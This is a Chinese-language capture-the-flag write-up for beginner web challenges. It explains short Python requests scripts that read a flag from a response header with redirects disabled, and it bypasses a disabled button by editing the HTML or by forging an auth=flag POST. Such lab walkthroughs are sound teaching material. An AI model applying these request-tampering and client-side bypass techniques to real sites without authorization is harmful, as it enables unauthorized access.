分析Python脚本
import requests(引入第三方库,此库与网站、资源有关)
url = "http://61.147.171.105:64762/index.php"
response = requests.get(url, allow_redirects=False)(请求目标地址,禁止重定向,具体意思即使访问index.php的内容而非1.php跳转之后的内容)
if 'FLAG' in response.headers and 'flag{' in response.headers['FLAG']:
flag_stare = response.headers['FLAG'].index('flag{')
flag_end = response.headers['FLAG'].index('}', flag_stare) + 1('+1'是使'}'包含在内)
flag = response.headers['FLAG'][flag_stare:flag_end](检查响应头中的'FLAG' 字段是否存在,字段的值中是否包含 'flag{' 字符串,提取flag)
print("存在flag" + flag)
else:
print("未找到flag")
得到flag。
disabled_button题
由题目描述得知做题思路是让不能按的按钮变成能按的按钮,是一个前端绕过题。
方法一
首先打开场景,f12打开查看器定位到button,(当内容太过华丽,选项很多时用小箭头在图上寻找需要的内容,标签就会自动定位到所选内容)
发现有个disabled,还有一个空的"",说明这部分是导致按钮不能按的原因,直接在自己的本机对它进行修改,删掉这部分,
修改后按钮就可以按了,得到答案。
(注意,按完得到答案后不能再按按钮了,因为设置是临时的,刷新后会变回原样,毕竟源文件在服务器上,本机修改不会对服务器源码有任何影响,刷新后服务器重新进行响应)
方法二
使用bp抓包,发现原题是POST传参,而抓包内容是GET传参,
因此我们只需把抓到的包改成POST,然后
name就是传参名,value就是值,所以我们再添加 auth=flag,修改后执行完回显出答案。
方法三
编写python脚本,
import requests
url='http://61.147.171.105:63362/'
data={'auth':'flag',}(小字典,即auth=flag)
response=requests.post(url,data=data) (url是post目标,前面data是正常要传输的数据,定义好的变量,后面data是自定义的要传输的东西,即data={'auth':'flag',})
if 'cyberpeace{'in response.text:
flag_start=response.text.index('cyberpeace{')
flag_end=response.text.index('}',flag_start)+1
flag=response.text[flag_start:flag_end] (从头到尾遍历)
print("存在flag:"+flag)
else:
print("未找到flag")